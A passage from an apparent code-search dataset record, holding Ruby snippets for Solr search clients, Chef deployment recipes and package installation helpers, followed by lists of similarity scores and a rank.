'/IBM/InstallationManager'\n else\n new_resource.im_install_dir\n end\n im_install_dir\n when 'group'\n im_install_dir = if new_resource.im_install_dir.nil?\n '/home/' + user + '/IBM/InstallationManager_Group'\n else\n new_resource.im_install_dir\n end\n im_install_dir\n end\nend", "def exec(cmd, options = {})\n output = !!options.delete(:output)\n args = [solr_binary, cmd] + solr_options.merge(options).map { |k, v| [\"-#{k}\", \"#{v}\"] }.flatten\n\n if IO.respond_to? :popen4\n # JRuby\n env_str = env.map { |k, v| \"#{Shellwords.escape(k)}=#{Shellwords.escape(v)}\" }.join(\" \")\n pid, input, output, error = IO.popen4(env_str + \" \" + args.join(\" \"))\n @pid = pid\n stringio = StringIO.new\n if verbose? && !output\n IO.copy_stream(output, $stderr)\n IO.copy_stream(error, $stderr)\n else\n IO.copy_stream(output, stringio)\n IO.copy_stream(error, stringio)\n end\n input.close\n output.close\n error.close\n\n stringio.rewind\n\n if $? != 0\n raise \"Failed to execute solr #{cmd}: #{stringio.read}\"\n end\n\n stringio\n else\n IO.popen(env, args + [err: [:child, :out]]) do |io|\n stringio = StringIO.new\n if verbose? && !output\n IO.copy_stream(io, $stderr)\n else\n IO.copy_stream(io, stringio)\n end\n @pid = io.pid\n\n _, exit_status = Process.wait2(io.pid)\n stringio.rewind\n\n if exit_status != 0\n raise \"Failed to execute solr #{cmd}: #{stringio.read}\"\n end\n\n stringio\n end\n end\n end", "def from_solr(solr_doc)\n #just initialize internal_solr_doc since any value retrieval will be done via lazy loading on this doc on-demand\n @internal_solr_doc = solr_doc\n end", "def validate_and_upload_config_jar_contents(custom_dir_full_path, config_name)\n Dir.chdir(\"#{custom_dir_full_path}\")\n Chef::Log.info(\"current directory - [#{Dir.getwd}]\")\n solrconfig_files = File.join(\"**\",\"solrconfig.xml\")\n possible_subdirs = Array.new()\n Dir.glob(solrconfig_files).each do |solrconfig_file|\n Chef::Log.info(\"Find parent directory for the file #{solrconfig_file}\")\n parent_dir = File.dirname(solrconfig_file)\n Dir.chdir(\"#{parent_dir}\")\n important_objects = 0\n Chef::Log.info(\"parent directory - [#{Dir.getwd}]\")\n if Dir.glob(File.join(\"managed-schema\")).empty?\n if Dir.glob(File.join(\"schema.xml\")).empty?\n Chef::Log.warn(\"Neither schema.xml nor managed-schema file is present. Cannot upload this configuration to zookeeper.\")\n else\n schema_file_name = \"schema.xml\"\n important_objects += 1\n Chef::Log.info(\"schema.xml file is present\")\n end\n else\n schema_file_name = \"managed-schema\"\n important_objects += 1\n Chef::Log.info(\"managed-schema file is present\")\n if parent_dir == \".\"\n validate_schema_fields(\"#{custom_dir_full_path}/#{schema_file_name}\")\n else\n validate_schema_fields(\"#{custom_dir_full_path}/#{parent_dir}/#{schema_file_name}\")\n end\n end\n # Deleting META-INF folder locally on the compute to avoid uploading to ZK while uploading solr config\n if directoryExists?(\"META-INF\")\n begin\n FileUtils.rm_rf(\"META-INF\")\n rescue Exception => msg\n Chef::Log.error(\"Error while deleting the directory META-INF recursively : #{msg}\")\n end\n end\n\n # if Dir.glob(File.join(\"META-INF\")).empty?\n # Chef::Log.warn(\"META-INF directory does not exist.\")\n # else\n # important_objects += 1\n # Chef::Log.info(\"META-INF directory exists in the directory - [#{parent_dir}]\")\n # end\n # File.join(\"**\",\"lang\", \"**\") -- Check whether lang directory has some files. This returns empty when the lang directory do not contain files and also if it is present as a file.\n # So, In case if it returns empty then logs an message and will not consider the parent directory as a valid directory.\n # if Dir.glob(File.join(\"**\",\"lang\", \"**\")).empty?\n # Chef::Log.warn(\"lang directory is empty.\")\n # else\n # important_objects += 1\n # Chef::Log.info(\"lang directory exists in the directory - [#{parent_dir}]\")\n # end\n if (important_objects == 1)\n Chef::Log.info(\"Found all required configration file in the directory -- #{parent_dir}\")\n possible_subdirs.push(parent_dir)\n end\n Dir.chdir(\"#{custom_dir_full_path}\")\n end\n if (possible_subdirs.length == 0)\n Chef::Log.raise(\"No directory found that contains Solr's configuration files like solrconfig.xml etc. Cannot upload to zookeeper\")\n end\n if (possible_subdirs.length > 1)\n Chef::Log.raise(\"Several directories found that contains Solr's configuration files like solrconfig.xml etc. Cannot determine which one to upload to zookeeper. [ #{possible_subdirs} ]\")\n end\n node.set['config_sub_dir'] = \"#{possible_subdirs[0]}\"\n\n if node['config_sub_dir'] == \".\"\n uploadCustomConfig_without_bash_resource(node['solr_version'][0,1], node['zk_host_fqdns'], config_name, custom_dir_full_path)\n else\n uploadCustomConfig_without_bash_resource(node['solr_version'][0,1], node['zk_host_fqdns'],config_name, \"#{custom_dir_full_path}/#{node['config_sub_dir']}\")\n end\n\n end", "def dist_install_s( *args )\n if args.last.is_a?( Hash )\n args = args.dup\n opts = args.pop\n else\n opts = {}\n end\n\n args = dist_map_packages( args )\n\n if opts[ :succeed ]\n \"yum install -q -y #{args.join ' '} || true\"\n else\n \"yum install -q -y #{args.join ' '}\"\n end\n end", "def deploy_dir\n '/usr/bin'\n end", "def get_install_directory\n # search globally and then locally to see if we can write\n @dirs.each { |dir| \n return dir if can_write_to_dir dir, true\n }\n return nil\n end", "def apply_solr_schema(solr_base_url: 'http://localhost:8983/solr/', core: 'product')\n solr_client = SOLR::SolrSchemaApiClient.new(solr_base_url, core)\n\n all_fields = SOLR::ProductCoreFields.all_fields\n\n existing = []\n all_fields.each do |f|\n response = solr_client.add_field(f.solr_field_definition)\n\n if response.success?\n puts \"#{GREEN}[ADD]#{DEFAULT} #{f.name}: #{f.solr_field_definition}\"\n elsif response.field_exists?\n existing << f.name\n else\n puts \"#{RED}[ERROR]#{DEFAULT} #{f.name}: #{response.error_messages.join('; ')}\"\n end\n end\n\n puts \"The following fields already existed: #{existing.join(', ')}\" unless existing.empty?\n end", "def start\n if @thread.nil? then\n @thread = Thread.start { @solr.sync }\n end\n end", "def render_solr_core\n unless request.host == 'search.library.cornell.edu' or request.host == 'catalog.library.cornell.edu'\n core = Blacklight.connection_config[:url]\n # Remove http protocol string\n start = core.rindex(/:\\/\\//) + 3\n display = '<p class=\"solr-core\">Solr core: ' + core[start..-1] + '</p>'\n display.html_safe\n end\n end", "def find_installs\n\n tree = build_directory_tree (Tree::TreeNode.new \"ROOT\", @config[:vhost_folders]), @config[:max_depth]\n websites = get_websites_from tree\n\n directories = websites.map do |website|\n if website[:type] == self.class::CMS_TYPE\n website[:path]\n end\n end.compact\n\n directories\n end", "def pid_file\n \"sunspot-solr-#{::Rails.env}.pid\"\n end", "def solr_sync(generate_files_only: true)\n working_directory = File.join(Dir.tmpdir, \"solr_sync_#{self.to_s}_#{UUID.generate}\")\n FileUtils.mkdir_p(working_directory)\n puts \"Sync working directory: #{working_directory}\"\n solr_ids_file = File.join(working_directory, 'solr_ids')\n sorted_solr_ids_file = File.join(working_directory, 'sorted_solr_ids')\n db_ids_file = File.join(working_directory, 'db_ids')\n sorted_db_ids_file = File.join(working_directory, 'sorted_db_ids')\n only_solr_ids_file = File.join(working_directory, 'only_solr_ids')\n only_db_ids_file = File.join(working_directory, 'only_db_ids')\n get_solr_ids(solr_ids_file, sorted_solr_ids_file)\n get_db_ids(db_ids_file, sorted_db_ids_file)\n if generate_files_only\n puts \"Sync files in: #{working_directory} for manual inspection.\"\n else\n analyze_ids(sorted_solr_ids_file, sorted_db_ids_file, only_solr_ids_file, only_db_ids_file)\n remove_orphans(solr_ids_set)\n add_missing(db_ids_set)\n end\n ensure\n FileUtils.rm_rf(working_directory) if Dir.exist?(working_directory) and !generate_files_only\n end", "def load_solrj(solrj_jar_dir)\n Dir[\"#{solrj_jar_dir}/*.jar\"].each {|jar_file| require jar_file }\n end", "def install_to_staging(setup_py)\n project_dir = File.dirname(setup_py)\n\n prefix = \"/\"\n prefix = attributes[:prefix] unless attributes[:prefix].nil?\n\n # Some setup.py's assume $PWD == current directory of setup.py, so let's\n # chdir first.\n ::Dir.chdir(project_dir) do\n flags = [ \"--root\", staging_path ]\n if !attributes[:python_install_lib].nil?\n flags += [ \"--install-lib\", File.join(prefix, attributes[:python_install_lib]) ]\n elsif !attributes[:prefix].nil?\n # setup.py install --prefix PREFIX still installs libs to\n # PREFIX/lib64/python2.7/site-packages/\n # but we really want something saner.\n #\n # since prefix is given, but not python_install_lib, assume PREFIX/lib\n flags += [ \"--install-lib\", File.join(prefix, \"lib\") ]\n end\n\n if !attributes[:python_install_data].nil?\n flags += [ \"--install-data\", File.join(prefix, attributes[:python_install_data]) ]\n elsif !attributes[:prefix].nil?\n # prefix given, but not python_install_data, assume PREFIX/data\n flags += [ \"--install-data\", File.join(prefix, \"data\") ]\n end\n\n if !attributes[:python_install_bin].nil?\n flags += [ \"--install-scripts\", File.join(prefix, attributes[:python_install_bin]) ]\n elsif !attributes[:prefix].nil?\n # prefix given, but not python_install_bin, assume PREFIX/bin\n flags += [ \"--install-scripts\", File.join(prefix, \"bin\") ]\n end\n\n if !attributes[:python_scripts_executable].nil?\n # Overwrite installed python scripts shebang binary with provided executable\n flags += [ \"build_scripts\", \"--executable\", attributes[:python_scripts_executable] ]\n end\n\n if !attributes[:python_setup_py_arguments].nil? and !attributes[:python_setup_py_arguments].empty?\n # Add optional setup.py arguments\n attributes[:python_setup_py_arguments].each do |a|\n flags += [ a ]\n end\n end\n\n safesystem(attributes[:python_bin], \"setup.py\", \"install\", *flags)\n end\n end", "def dist_install_init_service( name )\n raise \"Include a distro-specific component, e.g. Debian, RHEL\"\n end", "def initialize(solr_url:)\n # rsolr gives lots of other config options, but this is probably all we need for now\n @solr = RSolr.connect(url: solr_url, retry_503: 3, retry_after_limit: 1, timeout: 20)\n end", "def generate_solr_document\n super.tap do |solr_doc|\n index_suppressed(solr_doc)\n index_workflow_fields(solr_doc)\n end\n end", "def extractCustomConfig(solr_config,config_jar,config_url,dir_name)\n\n # Create Directory \"#{solr_config}/custom-tmp-dir\"\n directory \"#{solr_config}/#{dir_name}\" do\n owner node['solr']['user']\n group node['solr']['user']\n mode '0777'\n action :create\n end\n\n # Extracts custom config jar\n bash 'unpack_customconfig_jar' do\n code <<-EOH\n cd #{solr_config}/#{dir_name}\n sudo rm -rf *.*\n sudo rm -rf */\n mv #{solr_config}/#{config_jar} #{solr_config}/#{dir_name}\n jar -xvf #{config_jar}\n sudo rm -rf #{config_jar}\n EOH\n not_if { \"#{config_jar}\".empty? }\n end\n end", "def initialize opts\n begin\n org.apache.solr.servlet.DirectSolrConnection\n rescue NameError\n raise MissingRequiredJavaLibs\n end\n if opts.is_a?(Hash) and opts[:solr_home]\n raise InvalidSolrHome unless File.exists?(opts[:solr_home])\n opts[:data_dir] ||= File.join(opts[:solr_home], 'data')\n @opts = opts\n elsif opts.class.to_s == \"Java::OrgApacheSolrCore::SolrCore\"\n @direct = org.apache.solr.servlet.DirectSolrConnection.new(opts)\n elsif opts.class.to_s == \"Java::OrgApacheSolrServlet::DirectSolrConnection\"\n @direct = opts\n end\n opts[:auto_connect] = true unless opts.key?(:auto_connect)\n self.direct if opts[:auto_connect]\n end", "def to_solr(solr_doc = {}, opts = {})\n super.tap do |doc|\n doc['active_fedora_model_ssi'] = has_model\n end\n end", "def ping_solr\n begin\n solr = RSolr.connect :url => 'http://localhost:8983/solr'\n response = solr.get 'select', :params => {:q => '*:*'}\n puts 'Solr is up!'\n return\n rescue Errno::ECONNREFUSED\n puts 'Solr not up yet, sleeping for 10 seconds... zzz'\n sleep 10\n ping_solr\n end\n end", "def components_from_solr\n query = \"#{Ddr::Index::Fields::COLLECTION_URI}:#{RSolr.solr_escape(internal_uri)}\"\n filter = ActiveFedora::SolrService.construct_query_for_rel(:has_model => Component.to_class_uri)\n results = ActiveFedora::SolrService.query(query, fq: filter, rows: 100000)\n results.lazy.map {|doc| SolrDocument.new(doc)}\n end", "def pid_file\n \"sunspot-solr-#{ENV['RACK_ENV']}.pid\"\n end", "def default_log_file_location\n File.join(::Rails.root, 'log', \"solr_\" + ::Rails.env + \".log\")\n end", "def show_works_or_works_that_contain_files(solr_parameters)\n return if blacklight_params[:q].blank?\n\n solr_parameters[:user_query] = blacklight_params[:q]\n solr_parameters[:q] = new_query\n solr_parameters[:defType] = 'lucene'\n end", "def app_dir\n \"#{node[:splunk][:home]}/etc/apps/#{new_resource.app}\"\nend", "def solr_params\n {\n fq: \"collection_code:#{collection_code}\",\n rows: 100\n }\n end", "def solr_type\n @solr_type ||= self.to_s\n end", "def add_doc_to_ix(solr_input_doc, id)\n unless solr_input_doc.nil?\n begin\n @streaming_update_server.add(solr_input_doc)\n @logger.info(\"updating Solr document #{id}\") \n rescue org.apache.solr.common.SolrException => e \n @logger.error(\"SolrException while indexing document #{id}\")\n @logger.error(\"#{e.message}\")\n @logger.error(\"#{e.backtrace}\")\n end\n end\n end", "def add_query_to_solr(solr_parameters, user_parameters)\n ###\n # Merge in search field configured values, if present, over-writing general\n # defaults\n ###\n # legacy behavior of user param :qt is passed through, but over-ridden\n # by actual search field config if present. We might want to remove\n # this legacy behavior at some point. It does not seem to be currently\n # rspec'd. \n solr_parameters[:qt] = user_parameters[:qt] if user_parameters[:qt]\n \n search_field_def = blacklight_config.search_fields[user_parameters[:search_field]]\n if (search_field_def) \n solr_parameters[:qt] = search_field_def.qt\n solr_parameters.merge!( search_field_def.solr_parameters) if search_field_def.solr_parameters\n end\n \n ##\n # Create Solr 'q' including the user-entered q, prefixed by any\n # solr LocalParams in config, using solr LocalParams syntax. \n # http://wiki.apache.org/solr/LocalParams\n ## \n if (search_field_def && hash = search_field_def.solr_local_parameters)\n local_params = hash.collect do |key, val|\n key.to_s + \"=\" + solr_param_quote(val, :quote => \"'\")\n end.join(\" \")\n solr_parameters[:q] = \"{!#{local_params}}#{user_parameters[:q]}\"\n else\n solr_parameters[:q] = user_parameters[:q] if user_parameters[:q]\n end\n \n\n ##\n # Set Solr spellcheck.q to be original user-entered query, without\n # our local params, otherwise it'll try and spellcheck the local\n # params! Unless spellcheck.q has already been set by someone,\n # respect that.\n #\n # TODO: Change calling code to expect this as a symbol instead of\n # a string, for consistency? :'spellcheck.q' is a symbol. Right now\n # rspec tests for a string, and can't tell if other code may\n # insist on a string. \n solr_parameters[\"spellcheck.q\"] = user_parameters[:q] unless solr_parameters[\"spellcheck.q\"]\n end" ]
[ "0.8147627", "0.79858583", "0.79800534", "0.75526506", "0.7465792", "0.715425", "0.715425", "0.67773694", "0.6755094", "0.6666977", "0.6512798", "0.6484884", "0.64390177", "0.6188005", "0.61539817", "0.61281294", "0.609086", "0.6069422", "0.6039547", "0.59187484", "0.5912394", "0.58574617", "0.5827604", "0.58027464", "0.5789356", "0.57625264", "0.5758979", "0.570206", "0.5683584", "0.56826895", "0.5655239", "0.562026", "0.56002575", "0.55849546", "0.5573121", "0.55595046", "0.5508475", "0.55002666", "0.54552007", "0.5430949", "0.5427613", "0.5424588", "0.5389875", "0.5385441", "0.5383497", "0.53783786", "0.5353391", "0.5269036", "0.5268478", "0.52588165", "0.52530766", "0.5246966", "0.52442443", "0.52350175", "0.52252704", "0.52214557", "0.52129275", "0.52092886", "0.52022666", "0.51876533", "0.5185842", "0.5177222", "0.51654965", "0.51622874", "0.51323646", "0.5127938", "0.5127375", "0.51259214", "0.5113343", "0.5112888", "0.5111628", "0.5096082", "0.50948954", "0.50683373", "0.5068215", "0.5057475", "0.5040825", "0.503207", "0.50281096", "0.5013058", "0.49649218", "0.49645", "0.4963258", "0.49603257", "0.49482593", "0.49429715", "0.49425822", "0.4936053", "0.49346852", "0.49306676", "0.49195054", "0.49139202", "0.49075982", "0.4889604", "0.48866734", "0.4885541", "0.48851714", "0.4875766", "0.48750994", "0.4869642" ]
0.592108
19
This method creates a file which contains the Solr user credentials for the recipes and monitor scripts to use We also store the app user credentials although we do not need it and do not use it for our purposes This could be useful further down the line to migrate to secreteclient OneOps component
def create_secrete_file() payload = { "admin_user" => { "username" => @solr_admin_user, "password" => @solr_admin_password, }, #TODO should the key be "app_user" @solr_app_user => { "username" => @solr_app_user, "password" => @solr_password } } # open and write to a file with ruby FileUtils.mkdir_p(@@secrete_dir, :mode => 0700) FileUtils.chown('app', 'app', @@secrete_dir) file_name = "#{@@secrete_dir}/#{@@secrete_file_name}" puts "Creating the Solr secrete file: #{file_name}" open("#{file_name}", 'w') { |f| f.puts(payload.to_json) } FileUtils.chown('app', 'app', "#{file_name}") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def write_user_credentials(username, password)\n File.open(credentials_path, 'a') do |users|\n users.write(Psych.dump(\"#{username}\": encrypt_password(password)))\n end\n clean_yaml\nend", "def create_credentials\n FileUtils.mkdir_p(@local_credentials_dir)\n message \"Going to create the credentials.yml in #{@local_credentials_dir}\"\n if e.ask_to_overwrite_local(@local_credentials_file_yml)\n Spinner.return :message => \"Creating #{y('credentials.yml')}..\" do\n local_credentials_yml = File.new(@local_credentials_file_yml, \"w\")\n local_credentials_yml.write(yaml_template)\n local_credentials_yml.close\n g(\"Finished creating the credentials.yml\")\n end\n end \n end", "def setup_credentials\n\n cmd = @config[:path] + @command_line_tool + \" \" + @@login_command\n\n Open3.popen3( cmd ) { |input, output, error|\n input.puts @config[:url]\n input.puts @config[:user]\n input.puts @config[:password]\n input.close\n } \n\n end", "def store_creddentials\n CSV.open(ENV['HOME'] + '/creddentials.csv', 'w') do |csv|\n csv << [@email, @password]\n end\n read_creddentials\n end", "def defined_credentials_files\n \"#{credential_directory}/#{@credentials_file_name}\"\n end", "def update_esx_passwd_file(esx_hostname,esx_username,esx_password)\n esx_passwd_file = Dir.home+\"/.esxpasswd\"\n FileUtils.touch(esx_passwd_file)\n File.chmod(0600,esx_passwd_file)\n output_text = esx_hostname+\":\"+esx_username+\":\"+esx_password\n File.open(esx_passwd_file, 'a') { |file| file.write(output_text) }\n return\nend", "def store\n credentials = ask_for_credentials\n\n ovewrite = if File.exist?(credentials_file)\n GoodData::CLI.terminal.ask(\"Overwrite existing stored credentials (y/n)\")\n else\n 'y'\n end\n\n if ovewrite == 'y'\n File.open(credentials_file, 'w', 0600) do |f|\n f.puts JSON.pretty_generate(credentials)\n end\n else\n puts 'Aborting...'\n end\n end", "def generate_configuration_info_files\n provider_file = Configuration.provider_path(@configuration_path)\n template_file = Configuration.template_path(@configuration_path)\n registry_path = Configuration.registry_path(@configuration_path)\n File.open(provider_file, 'w') { |f| f.write('dedicated') }\n File.open(template_file, 'w') { |f| f.write(File.expand_path(@env.template_file)) }\n @registry.save_registry(registry_path)\n SshUser.save_to_file(@ssh_users, @configuration_path)\n end", "def read_credentials\n File.readlines(USERPASS_FILE).each do |line|\n user, pass = line.split\n pass = \"\" if pass == '(none)'\n @crends << [\"#{user}\", pass]\n end\n end", "def credentials_file\n dir['credentials']\n end", "def create_client_secret_file\n File.exist?(KEY_FILE.to_s) && File.delete(KEY_FILE.to_s)\n File.open(KEY_FILE.to_s, 'w') do |f|\n f.write(CLIENT_SECRET.to_json.gsub('\\\\\\\\', '\\\\'))\n end\n end", "def build_and_copy_heartbeat_authkeys_file\n write_to_file_for(\"authkeys\") do\n open(Application.heartbeat_authkeys_config_file).read\n end\n end", "def write_credentials\n # AWS CLI is needed because writing AWS credentials is not supported by the AWS Ruby SDK.\n return unless system('which aws >/dev/null 2>&1')\n Aws::SharedCredentials::KEY_MAP.transform_values(&@credentials.method(:send)).\n merge(expiration: @expiration).each do |key, value|\n system(\"aws configure set #{key} #{value} --profile #{@session_profile}\")\n end\n end", "def create_credentials\n post_url = URI(\"http://#{FBPi::Settings.meshblu_url}/devices\")\n res = Net::HTTP.post_form(post_url, {})\n json = JSON.parse(res.body).deep_symbolize_keys\n File.open(credentials_file, 'w+') { |file| file.write(json.to_yaml) }\n load_credentials\n json\n end", "def write_shadow_file\n buffer = Tempfile.new(\"shadow\", \"/etc\")\n ::File.open(PASSWORD_FILE) do |shadow_file|\n shadow_file.each do |entry|\n user = entry.split(\":\").first\n if user == new_resource.username\n buffer.write(updated_password(entry))\n else\n buffer.write(entry)\n end\n end\n end\n buffer.close\n\n # FIXME: mostly duplicates code with file provider deploying a file\n s = ::File.stat(PASSWORD_FILE)\n mode = s.mode & 0o7777\n uid = s.uid\n gid = s.gid\n\n FileUtils.chown uid, gid, buffer.path\n FileUtils.chmod mode, buffer.path\n\n FileUtils.mv buffer.path, PASSWORD_FILE\n end", "def store_keys_in_file\n unless access_key.nil? || secret_access_key.nil?\n write_to_file( key_file_locations.first, YAML::dump({:access_key => access_key, :secret_access_key => secret_access_key})) \n end\n end", "def store_keys_in_file\n unless access_key.nil? || secret_access_key.nil?\n write_to_file( key_file_locations.first, YAML::dump({:access_key => access_key, :secret_access_key => secret_access_key})) \n end\n end", "def create_user\n user new_resource.user do\n comment \"Service user for #{new_resource.name}\"\n gid new_resource.group if new_resource.group\n home new_resource.home\n shell '/bin/false'\n system true\n uid new_resource.uid\n end\n end", "def install\n File.open(Keys.install_filename, \"w\") do |f|\n f.write({\n ACCESS_KEY => self.access_key_id,\n SECRET_KEY => self.secret_key\n }.to_yaml)\n end\n Pathname.new(Keys.install_filename).chmod(0600)\n end", "def credentials; end", "def credentials; end", "def credentials; end", "def credentials; end", "def credentials; end", "def make_jass_conf(file_name, keytab, principal)\n str = %(Client {\\n) +\n %( com.sun.security.auth.module.Krb5LoginModule required\\n) +\n %( useTicketCache=false\\n) +\n %( useKeyTab=true\\n) +\n %( keyTab=\"#{keytab}\"\\n) +\n %( principal=\"#{principal}\";\\n};)\n File.open(file_name, 'w') { |file| file.write str }\n end", "def generate_config\n # define email\n puts \"enter the email you use to log into Harvest:\"\n email = gets\n # define password\n puts \"enter the password for this Harvest account:\"\n password = gets\n # define subdomain\n puts \"enter the subdomain for your Harvest account:\"\n subdomain = gets\n\nstr = <<EOS\nclass HarvestConfig\ndef self.attrs(overwrite = {})\n{\n :email => \"#{email.chomp!}\", \n :password => \"#{password.chomp!}\", \n :subdomain => \"#{subdomain.chomp!}\",\n :has_ssl => false,\n :user_agent => \"Ruby/HarvestThings\"\n}.merge(overwrite)\nend\nend\nEOS\n \n File.open(CONFIG_PATH, 'w') {|f| f.write(str) }\n end", "def create_req_files\n Dir.mkdir DATA_DIR unless File.exists? DATA_DIR\n FileUtils.touch NODES_FILE unless File.exists? NODES_FILE\n FileUtils.touch ENC_ROLES_FILE unless File.exists? ENC_ROLES_FILE\n FileUtils.touch HIERA_DATA_FILE unless File.exists? HIERA_DATA_FILE\n end", "def standard_zone_post_install(options)\n options['zonedir'] = options['zonedir']+\"/\"+options['name']\n if File.directory?(options['zonedir'])\n options['clientdir'] = options['zonedir']+\"/root\"\n tmp_file = \"/tmp/zone_\"+options['name']\n admin_username = options['q_struct']['admin_username'].value\n admin_uid = options['q_struct']['admin_uid'].value\n admin_gid = options['q_struct']['admin_gid'].value\n admin_crypt = options['q_struct']['admin_crypt'].value\n root_crypt = options['q_struct']['root_crypt'].value\n admin_fullname = options['q_struct']['admin_description'].value\n admin_home = options['q_struct']['admin_home'].value\n admin_shell = options['q_struct']['admin_shell'].value\n passwd_file = options['clientdir']+\"/etc/passwd\"\n shadow_file = options['clientdir']+\"/etc/shadow\"\n message = \"Checking:\\tUser \"+admin_username+\" doesn't exist\"\n command = \"cat #{passwd_file} | grep -v '#{admin_username}' > #{tmp_file}\"\n execute_command(options,message,command)\n message = \"Adding:\\tUser \"+admin_username+\" to \"+passwd_file\n admin_info = admin_username+\":x:\"+admin_uid+\":\"+admin_gid+\":\"+admin_fullname+\":\"+admin_home+\":\"+admin_shell\n command = \"echo '#{admin_info}' >> #{tmp_file} ; cat #{tmp_file} > #{passwd_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",passwd_file)\n info = IO.readlines(shadow_file)\n file = File.open(tmp_file,\"w\")\n info.each do |line|\n field = line.split(\":\")\n if field[0] != \"root\" and field[0] != \"#{admin_username}\"\n file.write(line)\n end\n if field[0].to_s.match(/root/)\n field[1] = root_crypt\n copy = field.join(\":\")\n file.write(copy)\n end\n end\n output = admin_username+\":\"+admin_crypt+\":::99999:7:::\\n\"\n file.write(output)\n file.close\n message = \"Information:\\tCreating shadow file\"\n command = \"cat #{tmp_file} > #{shadow_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",shadow_file)\n client_home = options['clientdir']+admin_home\n message = \"Information:\\tCreating SSH directory for \"+admin_username\n command = \"mkdir -p #{client_home}/.ssh ; cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n # Copy admin user keys\n rsa_file = admin_home+\"/.ssh/id_rsa.pub\"\n dsa_file = admin_home+\"/.ssh/id_dsa.pub\"\n key_file = client_home+\"/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n message = \"Information:\\tCreating SSH directory for root\"\n command = \"mkdir -p #{options['clientdir']}/root/.ssh ; cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Copy root keys\n rsa_file = \"/root/.ssh/id_rsa.pub\"\n dsa_file = \"/root/.ssh/id_dsa.pub\"\n key_file = options['clientdir']+\"/root/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n # Fix permissions\n message = \"Information:\\tFixing SSH permissions for \"+admin_username\n command = \"cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n message = \"Information:\\tFixing SSH permissions for root \"\n command = \"cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Add sudoers entry\n sudoers_file = options['clientdir']+\"/etc/sudoers\"\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"cat #{sudoers_file} |grep -v '^#includedir' > #{tmp_file} ; cat #{tmp_file} > #{sudoers_file}\"\n execute_command(options,message,command)\n message = \"Information:\\tAdding sudoers include to \"+sudoers_file\n command = \"echo '#includedir /etc/sudoers.d' >> #{sudoers_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n sudoers_dir = options['clientdir']+\"/etc/sudoers.d\"\n check_dir_exists(options,sudoers_dir)\n sudoers_file = sudoers_dir+\"/\"+admin_username\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"echo '#{admin_username} ALL=(ALL) NOPASSWD:ALL' > #{sudoers_file}\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Warning:\\tZone #{options['name']} doesn't exist\")\n quit(options)\n end\n return\nend", "def upload_security_json_with_no_credentials()\n\n payload = {\n \"authentication\" => {\n \"class\" => \"solr.BasicAuthPlugin\"\n },\n \"authorization\" => {\n \"class\" => \"solr.RuleBasedAuthorizationPlugin\"\n }\n }\n\n\n cmd = \"#{@solr_install_dir}/server/scripts/cloud-scripts/zkcli.sh -zkhost #{@zk_host} -cmd put /security.json \\'#{payload.to_json}\\' 2>&1\"\n puts \"Uploading the basic template security.json file using cmd #{cmd}\"\n\n result = `#{cmd}`\n\n if $? != 0\n puts \"***FAULT:FATAL=#{result}\"\n e = Exception.new(\"no backtrace\")\n e.set_backtrace(\"\")\n raise e\n end\n\n end", "def app_services_create\n # SEE http://off-the-stack.moorman.nu/posts/5-user-services-with-runit/ for info on scripts\n c = Capistrano::BaseHelper.get_capistrano_instance\n c.run(\"#{c.sudo} mkdir -p '#{File.join(\"/etc\", \"sv\", Capistrano::BaseHelper.user_app_env_path)}'\")\n \n commands = []\n commands << \"#{c.sudo} chown #{c.fetch(:user)}:root /etc/sv/#{c.fetch(:user)}\"\n commands << \"#{c.sudo} chown #{c.fetch(:user)}:root /etc/sv/#{Capistrano::BaseHelper.user_app_env_path}\"\n c.run(commands.join(\" && \"))\n Capistrano::BaseHelper.generate_and_upload_config( Capistrano::BaseHelper::get_capistrano_instance.fetch(:runit_local_run), Capistrano::BaseHelper::get_capistrano_instance.fetch(:runit_remote_run), true )\n Capistrano::BaseHelper.generate_and_upload_config( Capistrano::BaseHelper::get_capistrano_instance.fetch(:runit_local_finish), Capistrano::BaseHelper::get_capistrano_instance.fetch(:runit_remote_finish), true )\n\n commands = []\n commands << \"#{c.sudo} chmod u+x '#{File.join(\"/etc\", \"sv\", Capistrano::BaseHelper.user_app_env_path, \"run\")}'\"\n commands << \"#{c.sudo} chmod u+x '#{File.join(\"/etc\", \"sv\", Capistrano::BaseHelper.user_app_env_path, \"finish\")}'\"\n commands << \"#{c.sudo} chmod g+x '#{File.join(\"/etc\", \"sv\", Capistrano::BaseHelper.user_app_env_path, \"run\")}'\"\n commands << \"#{c.sudo} chmod g+x '#{File.join(\"/etc\", \"sv\", Capistrano::BaseHelper.user_app_env_path, \"finish\")}'\"\n commands << \"#{c.sudo} chown #{c.fetch(:user)}:root '#{File.join(\"/etc\", \"sv\", Capistrano::BaseHelper.user_app_env_path, \"run\")}'\"\n commands << \"#{c.sudo} chown #{c.fetch(:user)}:root '#{File.join(\"/etc\", \"sv\", Capistrano::BaseHelper.user_app_env_path, \"finish\")}'\"\n c.run(commands.join(\" && \"))\n\n Capistrano::RunitBase.app_services_create_log_service\n end", "def populate_chef_secure_path\n chef_secure_path.run_action(:create)\n\n unless new_resource.encrypted_data_bag_secret.nil?\n r = Chef::Resource::File.new(::File.join(new_resource.chef_secure_path, 'encrypted_data_bag_secret'), run_context)\n 